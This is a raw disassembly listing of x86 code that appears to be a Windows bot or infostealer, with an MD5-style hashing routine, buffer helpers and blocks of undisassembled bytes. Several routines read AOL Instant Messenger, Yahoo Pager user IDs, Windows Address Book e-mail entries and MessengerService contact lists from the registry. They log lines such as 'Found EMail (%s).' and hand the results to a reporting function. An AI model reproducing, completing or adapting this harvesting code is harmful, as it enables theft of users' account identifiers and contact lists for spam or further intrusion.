		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 0F83D89C0h
		dd 0F30050E3h, 57C4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 1B5810E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0FCBF0000h, 0F30050E3h
		dd 0E3F8A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D3C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60A568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch
		dd 24CB5C8h, 81168B90h,	1FAh, 0B5850F80h, 0A0000001h, 446F60h
		dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h
		dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h
		dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h
		dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh
		dd 51000001h, 44C75250h, 4424h,	4DE80000h, 900247B5h, 1424448Bh
		dd 840FC085h, 13Ch, 0C085FF33h,	24247C89h, 12E860Fh, 4C8D0000h
		dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h
		dd 80000003h, 402444C7h, 800h, 0B506E890h, 0C0850248h
		dd 0E9850Fh, 4E8B0000h,	24948D04h, 0EE4h, 84685251h, 55004436h
		dd 20244489h, 1B56A0E8h, 0B99000h, 33000002h, 24BC8DC0h
		dd 6F4h, 0F310C483h, 100B9ABh, 0FCBF0000h, 0F30050E3h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 4FB4ABE8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24CB480h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D3Ch, 0E8694F8Dh,	0FFFCC913h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D60A5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
		dd 19E89052h, 8B024CB4h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
		dd 10C683FFh, 5A14FE81h, 820F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 0A068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A5Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
		dd 9468F08Bh, 5100445Bh, 446A4C68h, 0E8905600h,	1B5525h
		dd 443E7C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A34687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A1868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60A5h, 0FCCB33E8h
		dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h,	90560A74h
		dd 7F74EEE8h, 4C48377h,	1C24448Bh, 0B2C6E850h, 8D90024Ch
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 4469F0h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A5C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h
		dd 68F08B00h, 4469E8h, 69D86852h, 90560044h, 1B5414E8h
		dd 3E7C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh
		dd 0C0850CC4h, 4C8D4C74h, 0BC687C24h, 51004469h, 2E7AE890h
		dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69A06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60A56851h, 29E8004Dh, 83FFFCCAh, 0E85718C4h
		dd 7780BC89h, 4C48390h,	0A74F685h, 0E4E89056h, 83777F73h
		dd 548B04C4h, 90521C24h, 4CB1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		call	near ptr 2930000h
		nop
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446938
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2900000h
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44692C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4351E0	proc near		; CODE XREF: sub_4016F4j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4351E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4351E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435280:				; CODE XREF: ___:loc_401FD7j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017E4
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43551E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2930000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43551E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_446F60
		push	eax
		call	near ptr 28E0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2900000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		call	near ptr 285032Bh
		nop
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2720000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_435359
		push	edi
		nop
		call	near ptr 28308B0h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435359:				; CODE XREF: ___:00435341j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		call	near ptr 27206C4h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_435389
		mov	esi, dword_50F8D8
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_435389:				; CODE XREF: ___:0043536Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_435428
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4353CB:				; CODE XREF: ___:0043541Ej
		xor	eax, eax
		mov	ecx, edi


loc_4353CF:				; CODE XREF: ___:004353DFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4353CF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4353CB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_435428:				; CODE XREF: ___:004353B7j
		push	edi
		mov	edi, dword_50F8D8
		call	edi
		push	esi
		nop
		call	near ptr 27208BDh
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_43551E
		mov	ebx, dword_50FBF0
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_435477:				; CODE XREF: ___:0043550Ej
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_446A78
		push	ecx
		call	ebx
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jnz	short loc_435513
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_446A6C
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		push	64h
		call	near ptr 2830000h
		nop
		jmp	loc_435477
; ---------------------------------------------------------------------------


loc_435513:				; CODE XREF: ___:004354D3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2900000h


loc_43551E:				; CODE XREF: ___:004352A4j
					; ___:004352D4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4355E0	proc near		; CODE XREF: sub_401E47j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4355E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_401681
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4355E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_401681
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4356F0	proc near		; CODE XREF: sub_401E4Cj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4356F0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435BC7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_443600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017E4
		mov	edi, dword_50F75C
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BAF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 2900000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
